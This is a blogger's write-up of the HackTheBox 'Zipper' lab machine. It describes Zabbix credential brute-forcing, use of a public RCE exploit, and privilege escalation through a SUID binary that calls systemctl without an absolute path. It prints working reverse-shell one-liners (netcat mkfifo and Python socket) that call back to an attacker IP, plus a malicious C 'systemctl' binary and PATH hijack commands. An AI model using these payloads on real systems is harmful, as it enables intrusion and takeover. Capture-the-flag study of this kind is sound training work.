Hackthebox: Zipper Write-up

This was a fun box for me as I was a little familiar with Zabbix already from a project I worked on in college that was a bit of a nightmare. Getting to take my vengeance by exploiting it was actually kind of therapeutic 🙂

Scanning and recon

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 59:20:a3:a0:98:f2:a7:14:1e:08:e0:9b:81:72:99:0e (RSA)
| 256 aa:fe:25:f8:21:24:7c:fc:b5:4b:5f:05:24:69:4c:76 (ECDSA)
|_ 256 89:28:37:e2:b6:cc:d5:80:38:1f:b2:6a:3a:c3:a1:84 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

Discovered open port 10050/tcp on 10.10.10.108

That last port I found with a full-range port scan since having only two ports open in a CTF seemed kind of off to me. This was something I found on the hackthebox forums and have been using ever since as it provides a full scan much faster than others I have used (change tun0 to whatever network adapter you’re connected with).

masscan -p1-65535,U:1-65535 10.10.10.x --rate=1000 -e tun0  
After running a directory scan with gobuster/dirbuster, we find a nice little login page

You’ll notice you’re able to login as guest here, so after checking that out and not noticing anything that really stuck out to me as exploitable I decided to hit up searchsploit just on the off-chance there was an ‘I-win’ button out there.

This ends up being the guy we’re looking for

The bottom of the Zabbix login shows the version being 3.0.21 so that fit with this RCE code, but as is typical it’s not gonna work right out the box. It’s necessary for this exploit to work to have credentials, so it was time to run ‘cewl’ and try some hydra brute forcing to get through. I noticed in the guest login that there was a file called “Zapper’s backup script” so I added “Zapper, Zipper, Admin, User” to the user list and for my password list just ran:

cewl http://10.10.10.108/zabbix/zabbix.php?action=dashboard.view

Which got us a login with user Zapper password Zapper, but even with that we get a “GUI disabled” on the login screen, so it’s back to the exploit we had previously

ZABIX_ROOT = 'http://10.10.10.108/zabbix'       ### Zabbix IP-address
url = ZABIX_ROOT + '/api_jsonrpc.php'   ### Don't edit
login = 'zapper'                ### Zabbix login
password = 'zapper'     ### Zabbix password
hostid = '10106'        ### Zabbix hostid

This is all that’s necessary to edit and the username is case sensitive (as when I went back to do this write-up I got stuck on for an embarrassing amount of time).

This CLI was useful but I found you could get a real (limited) shell with this little guy courtesy of http://pentestmonkey.net/

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.17 9998 >/tmp/f

Foothold on the server

There’s a password protected zip file that I immediately got off the server and started hashcat on and continued looking through the server for any other goodies. I got lucky and found a configuration file that had the password “ZippityDoDah” which ended up working for the zip files before my hashcat instance even managed to complete (which it never would have).

Inside that zip file we’ve got “f.YMeMd$pTbpY3-449” which I wasn’t sure where I was supposed to apply this so figured it would come up later. Turns out after enumerating and going around in circles for a couple hours I went back to the Zabbix login page and it’s the login for the admin account.

‘Cuz of course it was

Now since I’m able to login with the admin account there’s a fun little section in there we can create scripts in. This doesn’t end up getting us root but does allow us to get a full TTY shell after getting the script to execute.

This part took some working through a bunch of different shells to no avail but finally hit paydirt with:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.17",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

I could now switch to user “zapper” with the same password of “ZippityDoDah” from earlier and now it’s time to privesc! Also, a note here, we had the password for the user “zapper” but the server required a private key in order to login with ssh so after switching user I pulled that key to make sure I had a stable connection there whenever I wanted.

Privesc

Since I had a good TTY connection now, I decided to be a little lazy and run an enumeration script which popped up telling me that the “zabbix-service” is running with the SUID bit set…

Running “ltrace ./zabbix-service” and going through the prompt shows us that the zabbix-service is actually running a “system” call with no absolute path set for systemctl… this is going to be the last bit that gets us running as root.

that’s the insecure part we’re looking for

First, I made a file.c with:

int main(int argc, char **argv){
        system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.17 9998 >/tmp/f");
        return 0;
}

And we’ll compile this file with:

gcc -m32 file.c -o systemctl

Since the server is a 32 bit server, that -m32 is necessary, and we want the binary to be called ‘systemctl’ since that’s what the binary is looking to call. That’s not where we have to stop though, as ‘systemctl’ will still try and find the correct systemctl, we need to change our PATH up to be the current folder we have put our malicious ‘systemctl’ binary into.

PATH=.${PATH}
export PATH
echo $PATH (to verify it's in the correct place)

Now we’ll just set a listener on our attacking PC and run the binary from the user Zapper which is being run as ROOT and we’ve got our final flag!

Closing thoughts

I absolutely LOVED the privesc on this one since there was really no cut and dry way to solve the problem I had to do a lot of research on SUID exploitation. The puzzle required me to notice 1 – No absolute path with a system call is exploitable. 2 – ltrace found that system is being called, so that’s exploitable. 3 – The binary itself is running as root, so THAT’s exploitable… put it all together and you’ve got privilege escalation to root!

Had a lot of fun with this one 🙂